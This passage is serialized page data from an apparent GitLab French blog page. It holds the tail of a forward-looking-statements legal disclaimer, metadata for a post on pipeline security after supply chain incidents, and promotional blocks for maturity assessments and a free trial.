Securities Act de 1933, tel que modifié, et de la section 21E du Securities Exchange Act de 1934. Bien que nous croyions que les attentes exprimées dans ces déclarations soient raisonnables, elles sont soumises à des risques, incertitudes, hypothèses et autres facteurs connus et inconnus susceptibles d'entraîner des résultats réels sensiblement différents. De plus amples informations sur ces risques et autres facteurs figurent sous la rubrique « Facteurs de risque » dans nos dépôts auprès de la SEC. Nous ne nous engageons pas à mettre à jour ou à réviser ces déclarations après la date de cet article de blog, sauf si la loi l'exige.*",[18,735,736,737],"product","tutorial","features","2026-04-10","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772630163/akp8ly2mrsfrhsb0liyb.png",[741],"Grant Hickman",{"featured":12,"template":13,"slug":743},"pipeline-security-lessons-from-march-supply-chain-incidents",{"promotions":745},[746,760,771,782],{"id":747,"categories":748,"header":750,"text":751,"button":752,"image":757},"ai-modernization",[749],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":753,"config":754},"Get your AI maturity score",{"href":755,"dataGaName":756,"dataGaLocation":244},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":758},{"src":759},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":761,"categories":762,"header":763,"text":751,"button":764,"image":768},"devops-modernization",[735,571],"Are you just managing tools or shipping innovation?",{"text":765,"config":766},"Get your DevOps maturity score",{"href":767,"dataGaName":756,"dataGaLocation":244},"/assessments/devops-modernization-assessment/",{"config":769},{"src":770},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":772,"categories":773,"header":774,"text":751,"button":775,"image":779},"security-modernization",[18],"Are you trading speed for security?",{"text":776,"config":777},"Get your security maturity score",{"href":778,"dataGaName":756,"dataGaLocation":244},"/assessments/security-modernization-assessment/",{"config":780},{"src":781},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":783,"paths":784,"header":787,"text":788,"button":789,"image":794},"github-azure-migration",[785,786],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":790,"config":791},"See how GitLab compares to GitHub",{"href":792,"dataGaName":793,"dataGaLocation":244},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":795},{"src":770},{"header":797,"blurb":798,"button":799,"secondaryButton":803},"Commencez à développer plus rapidement dès aujourd'hui","Découvrez ce que votre équipe peut accomplir avec la plateforme d'orchestration intelligente pour le DevSecOps.\n",{"text":46,"config":800},{"href":801,"dataGaName":49,"dataGaLocation":802},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/fr-fr/","feature",{"text":51,"config":804},{"href":53,"dataGaName":54,"dataGaLocation":802},1777394007495]